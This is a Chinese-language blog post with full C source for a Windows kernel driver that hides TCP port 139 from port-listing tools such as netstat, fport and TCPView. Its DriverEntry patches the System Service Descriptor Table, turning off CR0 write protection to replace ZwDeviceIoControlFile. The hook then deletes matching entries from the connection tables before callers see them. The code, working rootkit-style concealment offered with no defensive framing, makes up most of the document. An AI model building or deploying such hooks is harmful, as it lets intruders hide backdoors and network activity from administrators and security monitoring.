有时候写程序，调试程序真是一件非常有趣的事，就比如这次，蹦蹦跳跳，笑嘻嘻，意犹未尽的就把这个程序搞好了。 netstat 或者其他各种列举端口的工具，比如fport,或者 sysinternals 的 Tcpview，都是调用 Iphlpapi.dll 中的 API 来完成端口的列举。而 Iphlpapi.dll 中的 API 最终是使用 ZwDeviceIoControlFile ，向设备对象 Device\Tcp 发 IOCTL_TCP_QUERY_INFORMATION_EX 来得到各种信息的。于是我们只要Hook相应的System Service ，然后对得到的结果做一些处理，弄掉不希望出现的端口信息就可以了。不过真正的问题在于，IOCTL_TCP_QUERY_INFORMATION_EX 和端口相关的各种结构定义，参数含义目前都（大部分）是未公开，没人知道的，也就是Undocumented的。Undocumented?? ring3调试，我熟啊。ring0调试，我熟啊。Windows驱动，我熟啊。Windows系统，我熟啊。我怕谁啊我。Undocumented??爽，要的就是Undocumented。
通过ring3调试，分析Iphlpapi.dll是如何使用 IOCTL_TCP_QUERY_INFORMATION_EX 相关的各种参数，结合msdn中的一些信息，于是很轻松的搞清了需要了解的结构。用我自己写的awx建一个VC的驱动项目，写好了Hook部分。
关于本例中使用的解决Hook在各种Windows版本下运行的方法，在很多地方很多地方都出现了，我不清楚最早是谁想出来的，我是在《Undocumented Windows NT》一书的源码中第一次看到这种方法的。
下面是实现源码，很简单，我就不多说什么了。
#if 0 //================================================================
Copyright (c) JIURL, All Rights Reserved
========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Module Name:
Jiurl_tcpioctl.h
About:
- 这个驱动项目由一个我写的 AppWizard 创建。
[ HomePage ] http://jiurl.yeah.net
~~~~~~~~~~~~~~~~~~~~~
[ Email ] jiurl@mail.china.com
~~~~~~~~~~~~~~~~~~~~
[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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Comments:
本文件中的所有内容目前都是未公开的，由我分析得出，是隐藏端口的关键内容。
Undocumented?? 爽!要的就是 Undocumented 。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif
// jiurl // IPSNMPInfo 结构的定义是根据 RFC 2011
// jiurl // 所以我根据 RFC 2022 ，仿 IPSNMPInfo， 定义结构 TCPSNMPInfo
// jiurl // 再通过一些分析得到一些扩展部分的定义
typedef struct TCPSNMPInfo {
ULONG tcpsi_RtoAlgorithm;
ULONG tcpsi_RtoMin;
ULONG tcpsi_RtoMax;
ULONG tcpsi_MaxConn;
ULONG tcpsi_ActiveOpens;
ULONG tcpsi_PassiveOpens;
ULONG tcpsi_AttemptFails;
ULONG tcpsi_EstabResets;
ULONG tcpsi_CurrEstab;
ULONG tcpsi_InSegs;
ULONG tcpsi_OutSegs;
ULONG tcpsi_RetransSegs;
ULONG tcpsi_unknown1;
ULONG tcpsi_unknown2;
ULONG tcpsi_numconn;
} TCPSNMPInfo;
#define tcpRtoAlgorithm_other 1 // none of the following
#define tcpRtoAlgorithm_constant 2 // a constant rto
#define tcpRtoAlgorithm_rsre 3 // MIL-STD-1778, Appendix B
#define tcpRtoAlgorithm_vanj 4 // Van Jacobson's algorithm
#define TCP_MIB_STATS_ID 1
#define TCP_MIB_ADDRTABLE_ENTRY_ID 0x101
#define TCP_MIB_ADDRTABLE_ENTRY_EX_ID 0x102
typedef struct TCPAddrEntry {
ULONG tae_ConnState;
ULONG tae_ConnLocalAddress;
ULONG tae_ConnLocalPort;
ULONG tae_ConnRemAddress;
ULONG tae_ConnRemPort;
} TCPAddrEntry;
#define tcpConnState_closed 1
#define tcpConnState_listen 2
#define tcpConnState_synSent 3
#define tcpConnState_synReceived 4
#define tcpConnState_established 5
#define tcpConnState_finWait1 6
#define tcpConnState_finWait2 7
#define tcpConnState_closeWait 8
#define tcpConnState_lastAck 9
#define tcpConnState_closing 10
#define tcpConnState_timeWait 11
#define tcpConnState_deleteTCB 12
typedef struct TCPAddrExEntry {
ULONG tae_ConnState;
ULONG tae_ConnLocalAddress;
ULONG tae_ConnLocalPort;
ULONG tae_ConnRemAddress;
ULONG tae_ConnRemPort;
ULONG pid;
} TCPAddrExEntry;
#if 0 //================================================================
Copyright (c) JIURL, All Rights Reserved
========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Module Name:
JiurlPortHide.h
About:
- 这个驱动项目由一个我写的 AppWizard 创建。
[ HomePage ] http://jiurl.yeah.net
~~~~~~~~~~~~~~~~~~~~~
[ Email ] jiurl@mail.china.com
~~~~~~~~~~~~~~~~~~~~
[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- 有偿定制 AppWizard ，请发邮件联系 。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif
#define PORTHIDE 139
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
NTSYSAPI
NTSTATUS
NTAPI
ZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
typedef NTSTATUS (*ZWDEVICEIOCONTROLFILE)(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
ZWDEVICEIOCONTROLFILE OldZwDeviceIoControlFile;
void DriverUnload(IN PDRIVER_OBJECT DriverObject);
NTSTATUS
DriverDispatch(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp);
NTSTATUS NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);
// jiurl // from addrconv.cpp
#define ntohs(s) \
( ( ((s) >> 8) & 0x00FF ) | \
( ((s) << 8) & 0xFF00 ) )
// jiurl // from tcpioctl.h tdiinfo.h tdistat.h
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
//* Structure of an entity ID.
typedef struct TDIEntityID {
ULONG tei_entity;
ULONG tei_instance;
} TDIEntityID;
//* Structure of an object ID.
typedef struct TDIObjectID {
TDIEntityID toi_entity;
ULONG toi_class;
ULONG toi_type;
ULONG toi_id;
} TDIObjectID;
#define CONTEXT_SIZE 16
//
// QueryInformationEx IOCTL. The return buffer is passed as the OutputBuffer
// in the DeviceIoControl request. This structure is passed as the
// InputBuffer.
//
struct tcp_request_query_information_ex {
TDIObjectID ID; // object ID to query.
ULONG_PTR Context[CONTEXT_SIZE/sizeof(ULONG_PTR)]; // multi-request context. Zeroed
// for the first request.
};
typedef struct tcp_request_query_information_ex
TCP_REQUEST_QUERY_INFORMATION_EX,
*PTCP_REQUEST_QUERY_INFORMATION_EX;
#define CO_TL_ENTITY 0x400
#define INFO_CLASS_PROTOCOL 0x200
#define INFO_TYPE_PROVIDER 0x100
#if 0 //================================================================
Copyright (c) JIURL, All Rights Reserved
========================================================================
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
Module Name:
JiurlPortHide.cpp
About:
- 这个驱动项目由一个我写的 AppWizard 创建。
[ HomePage ] http://jiurl.yeah.net
~~~~~~~~~~~~~~~~~~~~~
[ Email ] jiurl@mail.china.com
~~~~~~~~~~~~~~~~~~~~
[ Forum ] http://jiurl.cosoft.org.cn/forum/index.php
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
- 有偿定制 AppWizard ，请发邮件联系 。
/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/*/
#endif
#ifdef __cplusplus
extern "C"
{
#endif
#include <ntddk.h>
#include "JiurlPortHide.h"
#include "Jiurl_tcpioctl.h"
#ifdef __cplusplus
}
#endif
NTSTATUS
DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
DbgPrint("JiurlPortHide: Hello,This is DriverEntry!\n");
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverDispatch;
DriverObject->DriverUnload = DriverUnload;
// save old system call locations
OldZwDeviceIoControlFile = (ZWDEVICEIOCONTROLFILE)(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]);
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)NewZwDeviceIoControlFile;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
return STATUS_SUCCESS;
}
NTSTATUS
DriverDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest (Irp,IO_NO_INCREMENT);
return Irp->IoStatus.Status;
}
void DriverUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint("JiurlPortHide: Bye,This is DriverUnload!\n");
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
(KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)ZwDeviceIoControlFile+1)]) = (ULONG)OldZwDeviceIoControlFile;
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
}
NTSTATUS NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS rc;
rc = ((ZWDEVICEIOCONTROLFILE)(OldZwDeviceIoControlFile)) (
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);
if(IoControlCode != IOCTL_TCP_QUERY_INFORMATION_EX)
{
return(rc);
}
TCP_REQUEST_QUERY_INFORMATION_EX req;
TCPAddrEntry* TcpTable;
TCPAddrExEntry* TcpExTable;
ULONG numconn;
LONG i;
DbgPrint("JiurlPortHide: IOCTL_TCP_QUERY_INFORMATION_EX\n");
if( NT_SUCCESS( rc ) )
{
req.ID.toi_entity.tei_entity = CO_TL_ENTITY;
req.ID.toi_entity.tei_instance = 0;
req.ID.toi_class = INFO_CLASS_PROTOCOL;
req.ID.toi_type = INFO_TYPE_PROVIDER;
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_ID;
if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrEntry);
TcpTable = (TCPAddrEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpTable[i].tae_ConnLocalPort) == PORTHIDE )
{
DbgPrint("JiurlPortHide: HidePort %d\n", ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpTable+i), (TcpTable+i+1), ((numconn-i-1)*sizeof(TCPAddrEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrEntry);
return(rc);
}
req.ID.toi_id = TCP_MIB_ADDRTABLE_ENTRY_EX_ID;
if( !memcmp( InputBuffer, &req, sizeof(TDIObjectID) ) )
{
numconn = IoStatusBlock->Information/sizeof(TCPAddrExEntry);
TcpExTable = (TCPAddrExEntry*)OutputBuffer;
for( i=0; i<numconn; i++ )
{
if( ntohs(TcpExTable[i].tae_ConnLocalPort) == PORTHIDE )
{
DbgPrint("JiurlPortHide: HidePort %d\n",ntohs(TcpTable[i].tae_ConnLocalPort));
memcpy( (TcpExTable+i), (TcpExTable+i+1), ((numconn-i-1)*sizeof(TCPAddrExEntry)) );
numconn--;
i--;
}
}
IoStatusBlock->Information = numconn*sizeof(TCPAddrExEntry);
return(rc);
}
}
return(rc);
}
